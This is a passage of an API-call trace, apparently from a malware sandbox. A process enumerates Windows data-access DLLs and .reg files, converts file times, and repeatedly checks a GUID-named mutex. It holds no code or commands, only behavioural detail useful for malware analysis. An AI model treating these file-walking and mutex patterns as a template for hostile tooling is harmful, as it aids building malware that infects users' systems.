ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0057.032] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.033] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.033] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.033] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.033] GlobalUnlock (hMem=0x440004) returned 0 [0057.033] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.033] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.033] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.033] GlobalUnlock (hMem=0x440004) returned 0 [0057.033] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.033] GlobalUnlock (hMem=0x44000c) returned 0 [0057.033] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.033] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0057.033] GetLastError () returned 0x12 [0057.033] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.034] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0057.034] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.034] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.034] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.034] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.034] GlobalUnlock (hMem=0x44000c) returned 0 [0057.034] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.034] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.034] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.034] GlobalUnlock (hMem=0x44000c) returned 0 [0057.034] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.034] GlobalUnlock (hMem=0x440004) returned 0 [0057.034] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.034] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0057.034] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.034] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.034] GlobalLock (hMem=0x440004) returned 0x550170 [0057.035] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.035] GlobalUnlock (hMem=0x440004) returned 0 [0057.035] GlobalLock (hMem=0x440004) returned 0x550170 [0057.035] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.035] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.035] GlobalUnlock (hMem=0x440004) returned 0 [0057.035] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.035] GlobalUnlock (hMem=0x44000c) returned 0 [0057.035] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.035] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0057.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.035] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.035] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.035] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.035] GlobalUnlock (hMem=0x44000c) returned 0 [0057.035] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.035] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.035] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.035] GlobalUnlock (hMem=0x44000c) returned 0 [0057.035] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.035] GlobalUnlock (hMem=0x440004) returned 0 [0057.035] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.035] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0057.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.035] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.035] GlobalLock (hMem=0x440004) returned 0x550170 [0057.035] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.035] GlobalUnlock (hMem=0x440004) returned 0 [0057.036] GlobalLock (hMem=0x440004) returned 0x550170 [0057.036] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.036] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.036] GlobalUnlock (hMem=0x440004) returned 0 [0057.036] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.036] GlobalUnlock (hMem=0x44000c) returned 0 [0057.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.040] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0057.040] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.040] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.040] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.040] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.040] GlobalUnlock (hMem=0x44000c) returned 0 [0057.040] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.041] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.041] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.041] GlobalUnlock (hMem=0x44000c) returned 0 [0057.041] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.041] GlobalUnlock (hMem=0x440004) returned 0 [0057.041] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.041] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0057.041] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.041] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.041] GlobalLock (hMem=0x440004) returned 0x550170 [0057.041] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.041] GlobalUnlock (hMem=0x440004) returned 0 [0057.041] GlobalLock (hMem=0x440004) returned 0x550170 [0057.041] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.041] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.041] GlobalUnlock (hMem=0x440004) returned 0 [0057.041] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.041] GlobalUnlock (hMem=0x44000c) returned 0 [0057.041] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.041] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0057.041] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.041] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.041] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.041] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.041] GlobalUnlock (hMem=0x44000c) returned 0 [0057.041] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.041] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.041] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.042] GlobalUnlock (hMem=0x44000c) returned 0 [0057.042] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.042] GlobalUnlock (hMem=0x440004) returned 0 [0057.042] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.042] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0057.042] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.042] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.042] GlobalLock (hMem=0x440004) returned 0x550170 [0057.042] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.042] GlobalUnlock (hMem=0x440004) returned 0 [0057.042] GlobalLock (hMem=0x440004) returned 0x550170 [0057.042] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.042] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.042] GlobalUnlock (hMem=0x440004) returned 0 [0057.042] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.042] GlobalUnlock (hMem=0x44000c) returned 0 [0057.042] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.042] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0057.042] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.042] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.042] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.042] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.042] GlobalUnlock (hMem=0x44000c) returned 0 [0057.042] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.042] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.042] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.042] GlobalUnlock (hMem=0x44000c) returned 0 [0057.042] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.043] GlobalUnlock (hMem=0x440004) returned 0 [0057.043] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.043] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0057.043] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.043] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.043] GlobalLock (hMem=0x440004) returned 0x550170 [0057.043] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.043] GlobalUnlock (hMem=0x440004) returned 0 [0057.043] GlobalLock (hMem=0x440004) returned 0x550170 [0057.043] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.043] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.043] GlobalUnlock (hMem=0x440004) returned 0 [0057.043] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.043] GlobalUnlock (hMem=0x44000c) returned 0 [0057.043] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.043] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0057.043] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.043] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.043] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.043] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.043] GlobalUnlock (hMem=0x44000c) returned 0 [0057.043] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.043] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.043] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.043] GlobalUnlock (hMem=0x44000c) returned 0 [0057.043] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.043] GlobalUnlock (hMem=0x440004) returned 0 [0057.044] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.044] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0057.044] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.044] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.044] GlobalLock (hMem=0x440004) returned 0x550170 [0057.044] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.044] GlobalUnlock (hMem=0x440004) returned 0 [0057.044] GlobalLock (hMem=0x440004) returned 0x550170 [0057.044] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.044] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.044] GlobalUnlock (hMem=0x440004) returned 0 [0057.044] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.044] GlobalUnlock (hMem=0x44000c) returned 0 [0057.044] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.044] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0057.044] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.044] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.044] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.044] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.044] GlobalUnlock (hMem=0x44000c) returned 0 [0057.044] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.044] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.044] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.044] GlobalUnlock (hMem=0x44000c) returned 0 [0057.044] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.044] GlobalUnlock (hMem=0x440004) returned 0 [0057.044] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.045] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0057.045] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.045] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.045] GlobalLock (hMem=0x440004) returned 0x550170 [0057.045] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.045] GlobalUnlock (hMem=0x440004) returned 0 [0057.045] GlobalLock (hMem=0x440004) returned 0x550170 [0057.045] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.045] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.045] GlobalUnlock (hMem=0x440004) returned 0 [0057.045] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.045] GlobalUnlock (hMem=0x44000c) returned 0 [0057.045] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.045] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0057.045] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.045] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.045] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.045] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.045] GlobalUnlock (hMem=0x44000c) returned 0 [0057.045] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.045] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.045] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.045] GlobalUnlock (hMem=0x44000c) returned 0 [0057.045] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.045] GlobalUnlock (hMem=0x440004) returned 0 [0057.045] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.045] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0057.045] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.045] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.046] GlobalLock (hMem=0x440004) returned 0x550170 [0057.046] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.046] GlobalUnlock (hMem=0x440004) returned 0 [0057.046] GlobalLock (hMem=0x440004) returned 0x550170 [0057.046] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.046] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.046] GlobalUnlock (hMem=0x440004) returned 0 [0057.046] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.046] GlobalUnlock (hMem=0x44000c) returned 0 [0057.046] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.046] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, 